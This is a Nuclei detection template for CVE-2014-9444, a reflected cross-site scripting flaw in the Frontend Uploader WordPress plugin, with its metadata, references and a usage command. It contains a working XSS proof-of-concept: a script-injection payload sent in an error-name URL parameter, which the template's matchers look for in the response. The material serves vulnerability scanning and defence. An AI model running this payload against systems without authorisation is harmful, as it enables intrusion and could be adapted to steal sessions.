Frontend Uploader <= 0.9.2 - Cross-Site Scripting

ID: CVE-2014-9444

Severity: medium

Author: daffainfo

Tags: cve2014,cve,wp-plugin,xss,wpscan,packetstorm,wordpress,unauth,frontend_uploader_project

Description

The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability.

YAML Source

id: CVE-2014-9444

info:
  name: Frontend Uploader <= 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via a crafted file name, leading to potential session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the Frontend Uploader plugin (0.9.2) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f0739b1e-22dc-4ca6-ad83-a0e80228e3c7
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9444
    - http://packetstormsecurity.com/files/129749/WordPress-Frontend-Uploader-0.9.2-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-9444
    cwe-id: CWE-79
    epss-score: 0.00619
    epss-percentile: 0.78788
    cpe: cpe:2.3:a:frontend_uploader_project:frontend_uploader:0.9.2:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: frontend_uploader_project
    product: frontend_uploader
    framework: wordpress
  tags: cve2014,cve,wp-plugin,xss,wpscan,packetstorm,wordpress,unauth,frontend_uploader_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200a90cabc2ba4c78d84da93d435e828bf800fba068d1f508ac527953927bf1054022100ce2f3a10cf79d2d52e85b4eb0ef8945a3eae602b4a10c21b0c086c2b9d4fc898:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-9444.yaml"

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